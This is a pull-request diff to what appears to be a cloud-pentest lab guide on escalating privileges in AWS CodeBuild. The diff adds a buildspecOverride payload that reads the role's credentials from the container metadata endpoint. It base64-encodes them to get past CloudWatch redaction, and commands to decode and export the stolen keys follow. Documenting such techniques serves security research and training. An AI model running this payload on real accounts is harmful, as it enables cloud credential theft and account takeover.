Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -111,8 +111,15 @@ If the build runs `python3` (common in buildspecs), you can sometimes get code e

This can be used to print the CodeBuild role credentials (from `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) into CloudWatch logs, then recover them if you have log read permissions.<sup>[[9]](#references)[[10]](#references)[[13]](#references)[[14]](#references)[[15]](#references)[[18]](#references)</sup>

> [!WARNING]
> This technique **requires Python ≤ 3.10**. On Python 3.11+ (e.g. `aws/codebuild/standard:7.0`), the `category` field of `PYTHONWARNINGS` only accepts real `Warning` subclasses and arbitrary module paths are rejected:
> ```
> Invalid -W option ignored: unknown warning category: 'antigravity'
> ```
> Use the `buildspecOverride` alternative below instead.

<details>
<summary>Expandable: StartBuild JSON request for the <code>PYTHONWARNINGS</code> + <code>BROWSER</code> trick</summary>
<summary>Expandable: StartBuild JSON request for the <code>PYTHONWARNINGS</code> + <code>BROWSER</code> trick (Python ≤ 3.10 only)</summary>

```json
{
Expand All @@ -134,6 +141,37 @@ This can be used to print the CodeBuild role credentials (from `http://169.254.1

</details>

<details>
<summary>Expandable: Universal alternative via <code>buildspecOverride</code> (all Python versions)</summary>

`StartBuild` accepts a `buildspecOverride` parameter that completely replaces the project's buildspec, making the `PYTHONWARNINGS` trick unnecessary. Save as a JSON file and run with `--cli-input-json`:

```json
{
"projectName": "codebuild_lab_7_project",
"buildspecOverride": "version: 0.2\n\nphases:\n build:\n commands:\n - curl -s http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI | python3 -c \"import sys,json,base64; d=json.load(sys.stdin); print('KEY:'+d['AccessKeyId']); print('SECRET:'+base64.b64encode(d['SecretAccessKey'].encode()).decode()); print('TOKEN:'+base64.b64encode(d['Token'].encode()).decode())\"\n"
}
```

```bash
aws codebuild start-build --cli-input-json file://payload.json
```

Decode the values after retrieving them from CloudWatch logs:

```bash
export AWS_ACCESS_KEY_ID=<KEY from log>
export AWS_SECRET_ACCESS_KEY=$(echo "<SECRET from log>" | base64 -d)
export AWS_SESSION_TOKEN=$(echo "<TOKEN from log>" | base64 -d)
```

> [!NOTE]
> The CodeBuild agent automatically redacts (`***`) `SecretAccessKey` and `Token` in CloudWatch output. Base64-encoding the values before printing bypasses this scrubbing. All three values must come from the **same build execution** — mixing credentials from different builds produces `SignatureDoesNotMatch` or `InvalidClientTokenId` errors.

</details>

</details>

### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)

An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one.<sup>[[1]](#references)[[2]](#references)[[5]](#references)[[7]](#references)[[8]](#references)</sup>
Expand Down